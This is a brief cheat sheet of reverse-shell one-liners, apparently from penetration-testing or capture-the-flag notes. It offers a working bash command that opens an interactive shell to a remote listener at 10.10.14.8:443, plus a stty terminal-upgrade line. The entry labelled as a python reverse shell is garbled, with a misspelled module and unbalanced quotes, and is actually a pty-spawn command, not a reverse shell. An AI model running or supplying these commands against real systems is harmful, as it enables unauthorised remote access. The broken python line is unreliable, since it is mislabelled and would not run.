Reverse Shells

1
2
3
4
5
6
# reverse shell via bash
bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"

# reverse shell via python
python3 -c 'import ptylpty.spawn("bash)'
stty raw -echo; fg